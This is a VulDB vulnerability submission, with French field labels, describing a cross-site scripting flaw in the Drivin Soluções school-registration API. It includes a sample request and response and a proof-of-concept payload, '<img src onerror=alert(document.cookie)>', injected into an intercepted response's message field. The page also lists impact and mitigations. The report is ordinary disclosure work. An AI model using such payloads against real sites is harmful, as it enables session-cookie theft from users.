| Titre | Drivin Drivin Soluções NA Cross-Site Scripting via API Response Manipulation |
|---|
| Description | Vendor: Drivin
Product: Drivin Soluções
A Cross-Site Scripting (XSS) vulnerability was identified in the Drivin Soluções platform. The issue arises from improper handling of API responses, where user-controlled input is reflected directly in the front-end without proper sanitization.
Request:
POST /api/school/registerSchool HTTP/2
Host: X.X.X.X
Content-Type: application/json
{"name":"bilubiluteteia","code":"123","cnpj":"12.321.321/3213-21","email":"[email protected]","phone":"(12) 3 1231-2312","zipCode":"18053-362","city":"Sorocaba","street":"Rua Almir Muza Soares","district":"Jardim Santa Bárbara","number":"123123","complement":"","state":"SP"}
Response:
HTTP/2 400 Bad Request
Content-Type: application/json
{"message":"Escola ja cadastrada!","error":"Escola ja cadastrada!","statusCode":400}
POC ----------------
By intercepting the API response and modifying the `message` field, an attacker can inject JavaScript that will execute on the client-side when processed by the front-end.
Malicius Request:
HTTP/2 400 Bad Request
Content-Type: application/json
{"message":"<img src onerror=alert(document.cookie)>","error":"Escola ja cadastrada!","statusCode":400}
When this response is rendered on the webpage, the JavaScript within the `message` field executes, leading to an XSS attack.
Impact:
- Theft of authentication cookies and session hijacking.
- Potential redirection to malicious websites.
- Defacement or unauthorized actions performed on behalf of the victim.
Mitigation:
- Implement proper output encoding before displaying any user-supplied data.
- Use Content Security Policy (CSP) to restrict script execution.
- Sanitize API responses before rendering them in the front-end.
Classification:
- Type: Reflected XSS via API Response Manipulation
- CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
|
|---|
| La source | ⚠️ https://github.com/yago3008/cves |
|---|
| Utilisateur | y4g0 (UID 80480) |
|---|
| Soumission | 26/02/2025 19:52 (il y a 2 ans) |
|---|
| Modérer | 15/03/2025 10:27 (17 days later) |
|---|
| Statut | Accepté |
|---|
| Entrée VulDB | 299800 [Drivin Soluções jusqu’à 20250226 API registerSchool message cross site scripting] |
|---|
| Points | 20 |
|---|